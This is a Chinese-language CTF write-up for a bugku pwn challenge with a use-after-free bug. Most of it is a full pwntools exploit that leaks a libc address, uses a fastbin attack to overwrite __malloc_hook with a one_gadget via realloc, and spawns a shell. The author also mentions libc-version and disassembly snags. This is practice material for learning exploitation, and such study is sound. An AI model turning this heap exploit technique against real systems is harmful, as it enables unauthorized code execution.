记一次bugku pwn题解4月27日
emmmm,远程环境很垃圾(2.19-0ubuntu6.15),笔者patchelf的时候才想起来没有2.19,所以直接用2.23。利用realloc调整了好多次都打不通。。。。。换了四次gadget从0一直测试到realloc+0x30。。。。(没意思,其实可以利用其他方式,比如fsop,当时想着可能马上就可以通了就没有再高兴换了。。
uaf漏洞一枚,还可以edit,直接fastbin attack乱杀。快速写完初始exp发现了一个很ganga的事情,打不通本地和远程,那就利用realloc来调整一下呗。realloc + 0本地直接成功,远程就是打不通。。。。。
一开始保护也没看,可以直接改got表。。。总结来说就是太飘了。。。。
题目链接:z1r0’s github
这里给出本地的exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
debug = 0
if debug:
r = remote('192-168-1-192.pvp1029.bugku.cn', 9999)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
menu = 'Command:'
def add(size):
r.sendlineafter(menu, '1')
r.sendlineafter('size:', str(size))
def edit(index, content):
r.sendlineafter(menu, '2')
r.sendlineafter('Index:', str(index))
r.sendafter('Content:', content)
def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index:', str(index))
def delete(index):
r.sendlineafter(menu, '4')
r.sendlineafter('Index:', str(index))
add(0x80) #0
add(0x60) #1
add(0x60) #1
add(0x60) #3
add(0x10) #4
delete(4)
edit(4, '/bin/sh')
delete(0)
show(0)
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10
success('malloc_hook = ' + hex(malloc_hook))
#libc = ELF('./libc.so.6')
libc = ELF('./2.23/libc.so.6')
libc_base = malloc_hook - libc.sym['__malloc_hook']
#one = [0x46428, 0x4647c, 0xe9415, 0xea36d]
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one_gadget = one[0] + libc_base
realloc_hook = libc_base + libc.sym['realloc']
system_addr = libc_base + libc.sym['system']
add(0x80) #5
delete(1)
p1 = p64(malloc_hook - 0x23)
edit(1, p1)
add(0x60) #6
add(0x60) #7
p2 = b'a' * 0xb + p64(one_gadget) + p64(realloc_hook)
edit(7, p2)
add(0x30)
r.interactive()
这里笔者差忘记一个点,ida反汇编的时候switch这里会失败,看汇编的时候有一个垃圾数据nop掉就行。
再接再厉吧仔细点仔细点。。。